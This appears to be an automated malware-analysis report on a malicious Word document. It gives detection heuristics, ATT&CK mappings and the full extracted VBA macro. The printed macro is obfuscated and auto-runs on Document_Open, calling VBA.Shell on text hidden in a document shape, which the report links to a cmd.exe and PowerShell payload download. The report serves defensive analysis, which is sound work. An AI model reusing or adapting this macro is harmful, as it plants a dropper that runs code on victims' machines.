MALICIOUS
270
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059.001 PowerShell
T1059.003 Windows Command Shell
T1204.002 Malicious File
The sample contains a VBA macro that triggers on document opening. This macro utilizes the Shell() function to execute a command-line interface command, specifically invoking cmd.exe with a /c flag. The command string appears to be heavily obfuscated, but references to PowerShell and cmd.exe are present, indicating an attempt to download and execute a secondary payload. The ClamAV detection further supports the malicious nature of the file.
Heuristics 8
-
ClamAV: Doc.Malware.Generic-6745249-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Generic-6745249-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
TimeValue HirzNn + woFph + ToQmm + Gdmbs - zuArjn + hFuljv + DRHjaF + rihzUs + qzUDw + NtVHH * (OzFYD + qqCoWF) jvBwqps = VBA.Shell(Shapes(HLSrMu + IaikqiKv + 1 + JrimKi + CQBbOCL).TextFrame.TextRange.Text + hDPvW + zwUvA, wGtSLCwQzS) End Function -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
End Function Private Sub Document_open() On Error Resume Next -
Suspicious cmd.exe invocation with execution flag high SC_STR_CMDSuspicious cmd.exe invocation with execution flag
-
Reference to PowerShell high SC_STR_POWERSHELLReference to PowerShell
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1395 bytes |
SHA-256: 3276ee5e58bd1404454dbe42918bee06bc956f6a0ce4e691dbc606c12151912b |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "MEkjjik" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function hDisPjbw() On Error Resume Next Const wGtSLCwQzS = 691184524 - 691184524 TimeValue PliBP + sEbYpL + VFqjvz + jHGnDC * WGnTAi + CQatJr + FVfuLD + WPHfZ FormatDateTime (YzCfJ + CQwwPE * (wBcNC + SDTNfk * (GvcUZZ + ELXazS + NbvYUr + BFvYb / (KzEkWv + bGnbX)))) FormatDateTime (MimEQ + zMbZj + (FrfXh + LiPjYE + AHCwW + jVddc * (PrrVkw + wGYmdW))) TimeValue HirzNn + woFph + ToQmm + Gdmbs - zuArjn + hFuljv + DRHjaF + rihzUs + qzUDw + NtVHH * (OzFYD + qqCoWF) jvBwqps = VBA.Shell(Shapes(HLSrMu + IaikqiKv + 1 + JrimKi + CQBbOCL).TextFrame.TextRange.Text + hDPvW + zwUvA, wGtSLCwQzS) End Function Private Sub Document_open() On Error Resume Next FormatNumber (sWjrvj + BnYis + phLjZz + dsldmk * pMKXd + ZIEhKP * kfPqN + QSQmnW + jOAlD + LMjpd - FzRjc + WKqrzc) FormatDateTime (JTDYZ + AbMKI * (iFDvE + moHdzm / JRMKpQ + qovrJ)) FormatDateTime AdmGY + zQGvn / qGHfU + lQEoR + tjdqJ + mwain TimeValue (sNfKAF + BJikj / XrWzC + MPNoi) hDisPjbw FormatDateTime fZABtL + LcWRC + unQtzd + tcmlz + EOPGi + LNziFE FormatNumber JqhLSd + cEFGEi / VkBtJ + puaacb End Sub |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.